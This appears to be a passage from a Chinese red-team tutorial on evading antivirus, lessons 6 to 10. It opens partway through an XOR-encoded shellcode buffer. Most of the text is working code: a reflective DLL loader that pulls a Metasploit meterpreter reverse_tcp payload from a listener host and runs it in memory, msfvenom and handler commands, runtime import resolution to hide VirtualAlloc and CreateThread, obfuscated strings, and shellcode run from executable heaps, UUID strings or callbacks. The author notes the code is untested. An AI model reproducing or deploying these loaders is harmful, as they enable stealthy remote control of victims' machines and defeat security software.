f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x3b\x3d\x3a\x24\x3b\x38\x32\x0a\x0a\x0a\x0a\x0a" ;int wmain (int argc, TCHAR argv[]) { DWORD dwError; WORD sockVersion = MAKEWORD(2 , 2 ); WSADATA wsaData; SOCKET socks; SHORT sListenPort = 8888 ; struct sockaddr_in sin ; if (WSAStartup(sockVersion, &wsaData) != 0 ) { dwError = GetLastError(); printf ("[*]WSAStarup Error : %d \n" ,dwError); return dwError; } socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (socks == INVALID_SOCKET) { dwError = GetLastError(); printf ("[*]Socket Error : %d \n" ,dwError); return dwError; } sin .sin_family = AF_INET; sin .sin_port = htons(sListenPort); sin .sin_addr.S_un.S_addr = inet_addr("192.168.170.1" ); if (connect (socks,(struct sockaddr *)&sin ,sizeof (sin )) == SOCKET_ERROR ) { dwError = GetLastError(); printf ("[*]Bind Error : %d \n" ,dwError); return dwError; } int ret = send(socks,buf,sizeof (buf),0 ); if (ret > 0 ) { printf ("[+]Send %d-Bytes \n" ,ret); closesocket(socks); } WSACleanup(); return 0 ; }
第六课 MemoryMoudle 项目背景:Windows操作系统在执行一个Windows PE格式的文件时,Windows自身是有一个Windows PE格式的解析器,通过PE格式把文件的各个节放入不同的内存区域。
爱折腾的程序员自己也想实现这个过程,那就是反射,这个反射机制就是将Windows PE格式通过自己写的代码进行解析,并把不同的节数据加载到内存中,通常这个反射加载技术被很多APT组织、大型渗透框架、病毒作者使用比较广泛。
当一个Windows PE格式的文件变成了一个内存中的字符串,意味着这个文件可以被任意方式去转换、加密、混淆,因此反病毒软件也难以查杀。
MemoryModule就是实现了这个过程:https://github.com/fancycode/MemoryModule
但是资料都是英文的,我在国内的社区上找到了中文版本的:https://gitee.com/china_jeffery/MemoryModule
就是从内存中加载DLL,具体实现原理:
https://payloads.online/archivers/2019-03-14/1
反射DLL加载的实验 首先体验一下正常DLL加载的过程:
1 2 3 4 5 6 #include <Windows.h> VOID msg (VOID) { MessageBox(NULL ,TEXT("Test" ),TEXT("Hello" ),MB_OK); return ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include <Windows.h>; typedef VOID (*msg) (VOID) ;int main () { msg RunMsg; HMODULE hBadCode = LoadLibrary(TEXT("BadCode-DLL.dll" )); RunMsg = (msg)GetProcAddress(hBadCode,"msg" ); RunMsg(); FreeLibrary(hBadCode); return 0 ; }
通过LoadLibrary这个API来加载DLL文件,使其运行,看起来是一个基础操作,那么还有另外一种方式吗?
接下来贴上MemoryModule的使用方法:
将要加载的PE文件读入内存
初始化MemoryModule句柄
装载内存
获得导出函数地址
执行导出函数
释放MemoryModule句柄
这里我将MemoryModule项目代码放入当前项目:
主要是:MemoryModule.h
、MemoryModule.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 #include <Windows.h>; #include <stdio.h> #include "MemoryModule.h" typedef VOID (*msg) (VOID) ;DWORD OpenBadCodeDLL (HANDLE & hBadCodeDll, LPCWSTR lpwszBadCodeFileName) { DWORD dwHighFileSize = 0 ; DWORD dwLowFileSize = 0 ; hBadCodeDll = CreateFile(lpwszBadCodeFileName,GENERIC_READ,FILE_SHARE_READ,NULL ,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL ,NULL ); if (hBadCodeDll == INVALID_HANDLE_VALUE){ return GetLastError(); } dwLowFileSize = GetFileSize(hBadCodeDll,&dwHighFileSize); return dwLowFileSize; } int main () { msg RunMsg; HMEMORYMODULE hModule; HANDLE hBadCodeDll = INVALID_HANDLE_VALUE; WCHAR szBadCodeFile[] = TEXT("C:\Users\admin\Documents\Visual Studio 2012\Projects\BadCode\Debug\BadCode-DLL.dll" ); DWORD dwFileSize = 0 ; DWORD dwReadOfFileSize = 0 ; PBYTE bFileBuffer = NULL ; dwFileSize = OpenBadCodeDLL(hBadCodeDll, szBadCodeFile); if (hBadCodeDll == INVALID_HANDLE_VALUE){ return GetLastError(); } bFileBuffer = new BYTE[dwFileSize]; ReadFile(hBadCodeDll,bFileBuffer,dwFileSize,&dwReadOfFileSize,NULL ); if (dwReadOfFileSize != dwFileSize){ return GetLastError(); } CloseHandle(hBadCodeDll); hModule = MemoryLoadLibrary(bFileBuffer); if (hModule == NULL ){ delete [] bFileBuffer; return -1 ; } RunMsg = (msg)MemoryGetProcAddress(hModule,"msg" ); RunMsg(); MemoryFreeLibrary(hModule); delete [] bFileBuffer; return GetLastError(); }
反射DLL 与 MSF 联动
通过Socket将Msf生成的DLL给接收到内存中,然后载入MemoryModule中,直接执行。
生成DLL
1 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.170.138 LPORT=8899 -f dll -o ~/y.dll
设置MSF dll 发射器(set DLL 命令):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 msf5 > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.170.138 -P 8899 [*] Payload handler running as background job 0. [*] Started reverse TCP handler on 192.168.170.138:8899 msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/patchupdllinject/reverse_tcp payload => windows/patchupdllinject/reverse_tcp msf5 exploit(multi/handler) > set LHOST 192.168.170.138 LHOST => 192.168.170.138 msf5 exploit(multi/handler) > set LPORT 8888 LPORT => 8888 msf5 exploit(multi/handler) > set DLL ~/y.dll DLL => ~/y.dll msf5 exploit(multi/handler) > exploit -j [*] Exploit running as background job 1. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.170.138:8888 msf5 exploit(multi/handler) >
写代码实现客户端获,获取MSF 生成的DLL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 #include <WinSock2.h> #include <Windows.h> #include <stdio.h> #include "MemoryModule.h" #pragma comment(lib,"ws2_32.lib" ) #define PAYLOAD_SIZE 1024*512 typedef BOOL (*Module) (HMODULE hModule, DWORD ul_reason_for_call , LPVOID lpReserved) ;typedef VOID (*msg) (VOID) ;PBYTE bFileBuffer = NULL ; BOOL GetPEDLL () { DWORD dwError; WORD sockVersion = MAKEWORD(2 , 2 ); WSADATA wsaData; SOCKET socks; SHORT sListenPort = 8888 ; struct sockaddr_in sin ; if (WSAStartup(sockVersion, &wsaData) != 0 ) { dwError = GetLastError(); printf ("[*]WSAStarup Error : %d \n" ,dwError); return FALSE; } socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (socks == INVALID_SOCKET) { dwError = GetLastError(); printf ("[*]Socket Error : %d \n" ,dwError); return FALSE; } sin .sin_family = AF_INET; sin .sin_port = htons(sListenPort); sin .sin_addr.S_un.S_addr = inet_addr("192.168.170.138" ); if (connect (socks,(struct sockaddr *)&sin ,sizeof (sin )) == SOCKET_ERROR ) { dwError = GetLastError(); printf ("[*]Bind Error : %d \n" ,dwError); return FALSE; } int ret = 0 ; ret = recv(socks,(PCHAR)bFileBuffer,4 ,NULL ); ret = recv(socks,(PCHAR)bFileBuffer,2650 ,NULL ); ret = recv(socks,(PCHAR)bFileBuffer,4 ,NULL ); ret = recv(socks,(PCHAR)bFileBuffer,4 ,NULL ); ret = recv(socks,(PCHAR)bFileBuffer,4 ,NULL ); ZeroMemory(bFileBuffer,PAYLOAD_SIZE); ret = recv(socks,(PCHAR)bFileBuffer,5120 ,NULL ); if (ret > 0 ) { closesocket(socks); } return TRUE; } DWORD OpenBadCodeDLL (HANDLE & hBadCodeDll, LPCWSTR lpwszBadCodeFileName) { DWORD dwHighFileSize = 0 ; DWORD dwLowFileSize = 0 ; hBadCodeDll = CreateFile(lpwszBadCodeFileName,GENERIC_READ,FILE_SHARE_READ,NULL ,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL ,NULL ); if (hBadCodeDll == INVALID_HANDLE_VALUE){ return GetLastError(); } dwLowFileSize = GetFileSize(hBadCodeDll,&dwHighFileSize); return dwLowFileSize; } int main () { HMEMORYMODULE hModule; Module DllMain; bFileBuffer = new BYTE[PAYLOAD_SIZE]; GetPEDLL(); hModule = MemoryLoadLibrary(bFileBuffer); if (hModule == NULL ){ delete [] bFileBuffer; return -1 ; } DllMain = (Module)MemoryGetProcAddress(hModule,"DllMain" ); DllMain(0 ,0 ,0 ); DWORD dwThread; HANDLE hThread = CreateThread(NULL ,NULL ,(LPTHREAD_START_ROUTINE)DllMain,NULL ,NULL ,&dwThread); WaitForSingleObject(hThread,INFINITE); MemoryFreeLibrary(hModule); delete [] bFileBuffer; return GetLastError(); }
GetPEDLL函数主要是从MSF上获取DLL,通过recv函数不断接收,偏移获得DLL地址,然后扔给MemoryGetProcAddress。
PS:
不同位数要对应不同的payload,编译平台也要互相对应
引入反射DLL加载这个技术,以及如何使用这个技术,如果想深入研究,还需要学习Windows PE相关的基础知识。
第7课 导入地址表(IAT)
Import Address Table 由于导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或者多个DLL 中,当PE 文件被装入内存的时候,Windows 装载器才将DLL 装入,并将调用导入函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导入表完成.其中导入地址表就指示函数实际地址。 - 来源百度百科
在PE结构中,存在一个导入表,导入表中声明了这个PE文件会载入哪些模块,同时每个模块的结构中又会指向模块中的一些函数名称。这样的组织关系是为了告诉操作系统这些函数的地址在哪里,方便修正调用地址。
如果一个文件的文件大小在300KB以内,并且导入函数又有Virtual Alloc
、CreateThread
,且VirtualAlloc
的最后一个参数是0x40
,那么此文件是高危文件。
0x40
被定义在winnt.h
中:
1 2 3 4 5 6 7 8 #define PAGE_NOACCESS 0x01 #define PAGE_READONLY 0x02 #define PAGE_READWRITE 0x04 #define PAGE_WRITECOPY 0x08 #define PAGE_EXECUTE 0x10 #define PAGE_EXECUTE_READ 0x20 #define PAGE_EXECUTE_READWRITE 0x40 #define PAGE_EXECUTE_WRITECOPY 0x80
![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210220161431763.png)
GetProcAddress 获取函数地址 GetProcAddress
这个API在Kernel32.dll
中被导出,主要功能是从一个加载的模块中获取函数的地址。
1 2 3 4 FARPROC GetProcAddress ( HMODULE hModule, LPCSTR lpProcName ) ;
FARPROC
被定义在了minwindef.h
中,声明如下:
1 2 3 #define WINAPI __stdcall typedef int (FAR WINAPI *FARPROC) () ;
跟进它的声明能够发现是一个函数指针,也就是说GetProcAddress
返回的是我们要找的函数地址。
自己写代码获取函数地址 1 VirtualAlloc -> VirtualProtect -> CreateThread -> WaitForSingleObject
这几个函数是比较明显的,并且都在kernel32.dll
中导出,我们尝试自己定义他们的函数指针,然后利用GetProcAddress
获取函数地址,调用自己的函数名称。
新建C/C++项目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 typedef LPVOID (WINAPI* ImportVirtualAlloc) ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) ;typedef HANDLE (WINAPI* ImportCreateThread) ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) ;typedef BOOL (WINAPI* ImportVirtualProtect) ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) ;typedef DWORD (WINAPI * ImportWaitForSingleObject) ( HANDLE hHandle, DWORD dwMilliseconds ) ;
然后在main
函数中,定义四个函数指针来存放这些函数的地址。
1 2 3 4 ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll" )), "VirtualAlloc" ); ImportCreateThread MyCreateThread = (ImportCreateThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll" )), "CreateThread" ); ImportVirtualProtect MyVirtualProtect = (ImportVirtualProtect)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll" )), "VirtualProtect" ); ImportWaitForSingleObject MyWaitForSingleObject = (ImportWaitForSingleObject)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll" )), "WaitForSingleObject" );
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 #include <Windows.h> #include <intrin.h> #include <WinBase.h> #include <stdio.h> typedef LPVOID (WINAPI* ImportVirtualAlloc) ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) ;typedef HANDLE (WINAPI* ImportCreateThread) ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) ;typedef BOOL (WINAPI* ImportVirtualProtect) ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) ;typedef DWORD (WINAPI* ImportWaitForSingleObject) ( HANDLE hHandle, DWORD dwMilliseconds ) ;int wmain (int argc, TCHAR* argv[]) { ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll" )), "VirtualAlloc" ); ImportCreateThread MyCreateThread = (ImportCreateThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll" )), "CreateThread" ); ImportVirtualProtect MyVirtualProtect = (ImportVirtualProtect)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll" )), "VirtualProtect" ); ImportWaitForSingleObject MyWaitForSingleObject = (ImportWaitForSingleObject)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll" )), "WaitForSingleObject" ); int shellcode_size = 0 ; DWORD dwThreadId; HANDLE hThread; DWORD dwOldProtect; char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a..." ; shellcode_size = sizeof (buf); for (int i = 0 ; i < shellcode_size; i++) { _InterlockedXor8(buf + i, 10 ); } char * shellcode = (char *)MyVirtualAlloc( NULL , shellcode_size, MEM_COMMIT, PAGE_READWRITE ); CopyMemory(shellcode, buf, shellcode_size); MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect); Sleep(2000 ); hThread = MyCreateThread( NULL , NULL , (LPTHREAD_START_ROUTINE)shellcode, NULL , NULL , &dwThreadId ); MyWaitForSingleObject(hThread, INFINITE); return 0 ; }
第八课 字符串 一般情况下,C/C++程序中的字符串常量会被硬编码到程序中(.data段,也就是数据段) ,尤其是全局变量最容易被定位到。
1 2 3 4 5 6 7 8 9 #include <stdio.h> char global_string[] = "123456" ;int main () {printf ("%s \n" , global_string);}
如果编写的是一些敏感参数的工具,很容易会被提取出特征,例如lcx这款工具,它的参数如下:
1 2 3 4 5 6 7 8 9 [Usage of Packet Transmit:] lcx -<listen|tran|slave> <option> [-log logfile] [option:] -listen <ConnectPort> <TransmitPort> -tran<ConnectPort> <TransmitHost> <TransmitPort> -slave <ConnectHost> <ConnectPort> <TransmitHost><TransmitPort>
其中,-listen
、-tran
、-slave
非常敏感,一般常见程序不会高频使用这些参数名,因此落地被杀也是意料之中。
C++ 重载运算符 C++ 允许在同一作用域中的某个函数和运算符指定多个定义,分别称为函数重载和运算符重载。
重载的运算符是带有特殊名称的函数,函数名是由关键字 operator 和其后要重载的运算符符号构成的。与其他函数一样,重载运算符有一个返回类型和一个参数列表。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #pragma once #include <iostream> #include <string> #include <Windows.h> class BadString {protected : DWORD dwStrLength = 0 ; std ::string szOutStr; std ::string Base64decode (std ::string szBase64String, LPDWORD lpdwLen) ; public : BadString(std ::string szInStr); operator std::string () ; ~BadString(); };
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #include "BadString.h" std::string BadString::Base64decode(std::string szBase64String, LPDWORD lpdwLen) { DWORD dwLen; DWORD dwNeed; PBYTE lpBuffer = NULL; dwLen = szBase64String.length(); dwNeed = 0 ; CryptStringToBinaryA(szBase64String.c_str(), 0 , CRYPT_STRING_BASE64, NULL, &dwNeed, NULL, NULL); if (dwNeed) { lpBuffer = new BYTE[dwNeed + 1 ]; ZeroMemory(lpBuffer, dwNeed + 1 ); CryptStringToBinaryA(szBase64String.c_str(), 0 , CRYPT_STRING_BASE64, lpBuffer, &dwNeed, NULL, NULL); *lpdwLen = dwNeed; } return std::string((PCHAR)lpBuffer); } BadString::BadString(std::string szInStr) { this ->dwStrLength = szInStr.length(); this ->szOutStr = this ->Base64decode(szInStr, &this ->dwStrLength); } BadString::operator std::string() { return this ->szOutStr; } BadString::~BadString() { }
调用方式:
1 2 3 4 5 6 #include "BadString.h" int main () { std ::cout << std ::string (BadString("SGVsbG8gV29ybGQK" )) << std ::endl ; }
假设一个功能函数的定义如下:
1 BOOL CCooolisMetasploit::SendPayload (std ::string options, std ::string payload)
那么,调用这个函数时,传递的std::string options
这个字符串可能会被定位,这个时候需要在传入之前调用一个函数,进行一次解密,把解密后的字符串传入。
1 metasploit->add_option(CooolisString("LXAsLS1wYXlsb2Fk"), msf_payload, CooolisString("UGF5bG9hZCBOYW1lLCBlLmcuIHdpbmRvd3MvbWV0ZXJwcmV0ZXIvcmV2ZXJzZV90Y3A="))->default_str(CooolisString("d2luZG93cy9tZXRlcnByZXRlci9yZXZlcnNlX3RjcA=="));
第九课 数据执行保护(DEP) DEP(Data Execution Prevention)即“ 数据执行保护”,这是Windows的一项安全机制,主要用来防止病毒和其他安全威胁对系统造成破坏。 微软从Windows XP SP2引入了该技术,并一直延续到今天。
为什么要有DEP:
在Windows Xp SP2 之前的时代,缓冲区溢出漏洞利用门槛太低了,只要发现有缓冲区溢出漏洞,就可以直接稳定利用,攻击者只需要将Shellcode不断写入堆栈,然后覆盖函数返回地址,代码就可以在堆栈中执行。但堆栈的用途主要是保存寄存器现场,提供一个函数运行时的存储空间,极少数需要代码在堆栈中执行,于是微软为了缓解类似的情况,发明了DEP保护机制,用于限制某些内存页不具有可执行权限。
如何绕过DEP VirtualProtect
这个API能够更改内存页的属性为可执行或不可执行,对于二进制漏洞利用来说,溢出的时候,把返回地址设计为VirtualProtect
的地址,再精心构造一个栈为调用这个API的栈,就可以改变当前栈的内存页的属性,使其从”不可执行”变成”可执行”。
举一反三 Shellcode执行其实也需要一个可执行的内存页,那么还有哪些API能够构造一个可执行的内存页呢?
HeapCreate
可以在进程中创建辅助堆栈,并且能够设置堆栈的属性:
1 2 3 4 HANDLE WINAPI HeapCreate ( __in DWORD flOptions, __in SIZE_T dwInitialSize, __in SIZE_T dwMaximumSize ) ;
第一个参数flOptions
用于修改如何在堆栈上执行各种操作。 你可以设定0
、HEAP_NO_SERIALIZE
、HEAP_GENERATE_EXCEPTIONS
、HEAP_CREATE_ENABLE_EXECUTE
或者是这些标志的组合。
HEAP_NO_SERIALIZE
:对堆的访问是非独占的,如果一个线程没有完成对堆的操作,其它线程也可以进程堆操作,这个开关是非常危险的,应尽量避免使用。
HEAP_GENERATE_EXCEPTIONS
:当堆分配内存失败时,会抛出异常。如果不设置,则返回NULL。
HEAP_CREATE_ENALBE_EXECUTE
:堆中存放的内容是可以执行的代码。如果不设置,意味着堆中存放的是不可执行的数据。
看到HEAP_CREATE_ENALBE_EXECUTE
相信很多人能够恍然大悟,我们的Shellcode可以存入这个辅助堆栈中,然后创建一个线程运行它即可。
Shellcode 执行 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <iostream> #include <Windows.h> int main () { char shellcode[] = "123" ; HANDLE hHep = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0 , 0 ); PVOID Mptr = HeapAlloc(hHep, 0 , sizeof (shellcode)); RtlCopyMemory(Mptr, shellcode, sizeof (shellcode)); DWORD dwThreadId = 0 ; HANDLE hThread = CreateThread(NULL , NULL , (LPTHREAD_START_ROUTINE)Mptr, NULL , NULL , &dwThreadId); WaitForSingleObject(hThread, INFINITE); std ::cout << "Hello World!\n" ; }
第十课 UUID 通用唯一标识符(universally unique identifier, UUID)是一个128位的用于在计算机系统中以识别信息的数目。在Windows中也有使用GUID来标识唯一对象。
Windows中的GUID 等同于 UUID, 其结构:
1 2 3 4 5 6 typedef struct _GUID { unsigned long Data1; unsigned short Data2; unsigned short Data3; unsigned char Data4[8 ]; } GUID;
总和一共16字节,16*8 = 128位。
与uuid 相关的Windows API 1 2 3 4 RPC_STATUS UuidFromString ( RPC_CSTR StringUuid, UUID *Uuid ) ;
功能:将字符串uuid转换为uuid结构
1 2 3 RPC_STATUS UuidCreate ( UUID *Uuid ) ;
功能:创建UUID结构。
1 2 3 4 5 int UuidEqual ( UUID *Uuid1, UUID *Uuid2, RPC_STATUS *Status ) ;
功能:判断两个UUID是否相等。
UUID 代表了 -> typedef GUID UUID;
uuid 测试 生成 shellcode
1 ./msfvenom -p windows/exec CMD=calc.exe -b '\xfc\xe8' -f raw -o /tmp/shellcode.bin
bin2uuid
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from uuid import UUIDimport osimport sysprint(""" ____ _ _______ _ _ _ _ _____ _____ | _ \(_) |__ __| | | | | | | |_ _| __ \ | |_) |_ _ __ | | ___ | | | | | | | | | | | | |___ | _ <| | '_ \| |/ _ \| | | | | | | | | | | | / __| | |_) | | | | | | (_) | |__| | |__| |_| |_| |__| \__ \ |____/|_|_| |_|_|\___/ \____/ \____/|_____|_____/|___/ \n""" )with open(sys.argv[1 ], "rb" ) as f: bin = f.read() if len(sys.argv) > 2 and sys.argv[2 ] == "--print" : outputMapping = True else : outputMapping = False offset = 0 print("Length of shellcode: {} bytes\n" .format(len(bin))) out = "" while (offset < len(bin)): countOfBytesToConvert = len(bin[offset:]) if countOfBytesToConvert < 16 : ZerosToAdd = 16 - countOfBytesToConvert byteString = bin[offset:] + (b'\x00' * ZerosToAdd) uuid = UUID(bytes_le=byteString) else : byteString = bin[offset:offset+16 ] uuid = UUID(bytes_le=byteString) offset+=16 out += "\"{}\",\n" .format(uuid) if outputMapping: print("{} -> {}" .format(byteString, uuid)) with open(sys.argv[1 ] + "UUIDs" , "w" ) as f: f.write(out) print("Outputted to: {}" .format(sys.argv[1 ] + "UUIDs" ))
生成测试样本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 #include <Windows.h> #include <rpc.h> #pragma comment(lib,"Rpcrt4.lib" ) const char * buf[] = { "4baf01bd-dbdd-d9de-7424-f45a33c9b131" , "83136a31-04c2-6a03-0e4d-be21f81341da" , "3fcb73f8-b3c9-34af-7904-bb1975efe989" , "bd259d0e-28a7-f010-3800-6093ba5bb573" , "72c89383-cec4-2621-9d85-94d7aad02453" , "802cf5e0-f4b0-171d-cbae-bd9918dbf781" , "394ee67d-9cb5-eb50-845d-fed229acfe13" , "6a754f8d-f2ee-a98e-8d28-1a2a35babc96" , "5c5a6fc4-c4ca-3a28-cedb-fd30ea500097" , "3327227b-f020-6246-8c57-76746f07d2fe" , "5d6f5c9d-a3cb-dbfd-b9a4-fde3edcccc68" , "bad08a62-64c7-e79b-61ed-4272307075a8" , "59f68d76-6a06-2be6-0336-a0c0792745e7" , "844c482e-dab1-650c-545b-b67900000000" }; int main (int argc, char * argv[]) { int dwNum = sizeof (buf) / sizeof (buf[0 ]); HANDLE hMemory = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0 , 0 ); if (hMemory == NULL ) { return -1 ; } PVOID pMemory = HeapAlloc(hMemory, 0 , 1024 ); DWORD_PTR CodePtr = (DWORD_PTR)pMemory; for (size_t i = 0 ; i < dwNum; i++) { if (CodePtr == NULL ) { break ; } RPC_STATUS status = UuidFromStringA(RPC_CSTR(buf[i]), (UUID*)CodePtr); if (status != RPC_S_OK) { return -1 ; } CodePtr += 16 ; } if (pMemory == NULL ) { return -1 ; } if (EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA)pMemory, LGRPID_INSTALLED, NULL ) == FALSE) { return 0 ; } return 0 ; }
Windows CALL BACK 函数 CALL BACK意为回调,是定义一个函数,由系统某个事件或用户的动作自动触发的函数,因此调用者不是用户。
例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 HINTERNET hOpen; INTERNET_STATUS_CALLBACK iscCallback; hOpen = InternetOpen( TEXT("Test Application" ), INTERNET_OPEN_TYPE_PRECONFIG, NULL , NULL , 0 ); iscCallback = InternetSetStatusCallback( hOpen, (INTERNET_STATUS_CALLBACK)CallMaster ); void CALLBACK CallMaster ( HINTERNET, DWORD_PTR, DWORD, LPVOID, DWORD ) ;
如果CallMaster指向的是一块可执行属性的内存,那么就可以加载Shellcode。
总结 如果真要走红队免杀这块,Windows 核心编程、Windows 操作系统相关的东西那必须非常熟练才行。
路漫漫……不要急于求成……
代码都没有本地测试,只是先了解了一下常见的方法。明天或者有空了在虚拟机里面用vs测试。mac版的vs没法编译c/c++。clion 也没有,没有 windows.h 这个头文件。